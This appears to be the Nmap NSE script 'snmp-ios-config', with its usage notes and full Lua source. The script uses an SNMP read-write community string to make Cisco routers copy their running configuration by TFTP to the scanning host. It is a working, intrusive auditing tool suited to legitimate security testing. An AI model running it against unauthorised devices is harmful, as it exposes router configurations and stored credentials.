Attempts to downloads Cisco router IOS configuration files using SNMP RW (v1) and display or save them.
If set, specifies to what directory the downloaded config should be saved
See the documentation for the snmp library.
See the documentation for the creds library.
nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:<community> <target>
| snmp-ios-config:
| !
| version 12.3
| service timestamps debug datetime msec
| service timestamps log datetime msec
| no service password-encryption
| !
| hostname Router
| !
| boot-start-marker
| boot-end-marker
<snip>
local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local snmp = require "snmp"
local stdnse = require "stdnse"
local stringaux = require "stringaux"
local table = require "table"
local tftp = require "tftp"
description = [[
Attempts to downloads Cisco router IOS configuration files using SNMP RW (v1) and display or save them.
]]
---
-- @usage
-- nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:<community> <target>
--
-- @output
-- | snmp-ios-config:
-- | !
-- | version 12.3
-- | service timestamps debug datetime msec
-- | service timestamps log datetime msec
-- | no service password-encryption
-- | !
-- | hostname Router
-- | !
-- | boot-start-marker
-- | boot-end-marker
-- <snip>
--
-- @args snmp-ios-config.tftproot If set, specifies to what directory the downloaded config should be saved
--
-- Version 0.2
-- Created 01/03/2011 - v0.1 - created by Vikas Singhal
-- Revised 02/22/2011 - v0.2 - cleaned up and added support for built-in tftp, Patrik Karlsson <[email protected]>
author = {"Vikas Singhal", "Patrik Karlsson"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive"}
dependencies = {"snmp-brute"}
portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
local function fail (err) return stdnse.format_output(false, err) end
---
-- Sends SNMP packets to host and reads responses
action = function(host, port)
local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot")
if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then
return fail("tftproot needs to end with slash")
end
local snmpHelper = snmp.Helper:new(host, port)
snmpHelper:connect()
local status, tftpserver, _, _, _ = snmpHelper.socket:get_info()
if( not(status) ) then
return fail("Failed to determine local ip")
end
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] )
local request = snmpHelper:set({reqiId=28428},".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1)
-- Fail silently if the first request doesn't get a proper response
if ( not(request) ) then return end
-- since we got something back, the port is definitely open
nmap.set_port_state(host, port, "open")
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] )
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] )
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server )
local tbl = {}
tbl._snmp = '40'
for octet in tftpserver:gmatch("%d+") do
table.insert(tbl, octet)
end
request = snmpHelper:set({reqId=28428}, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } )
-- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 )
-- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server )
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config)
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config")
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1])
-- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1)
-- wait for sometime and print the status of filetransfer
tftp.start()
local status, infile = tftp.waitFile(host.ip .. "-config", 10)
-- build a SNMP v1 packet
-- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed
local response
status, response = snmpHelper:get({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999")
if (not status) or (response == "TIMEOUT") then
return fail("Failed to receive cisco configuration file")
end
local result = response and response[1] and response[1][1]
if not result then
return
end
if result == 3 then
result = ( infile and infile:getContent() )
if ( tftproot ) then
local fname = tftproot .. stringaux.filename_escape(host.ip .. "-config")
local file, err = io.open(fname, "w")
if ( file ) then
file:write(result)
file:close()
else
return fail(file)
end
result = ("\n Configuration saved to (%s)"):format(fname)
end
else
result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)"
end
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6])
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6)
return result
end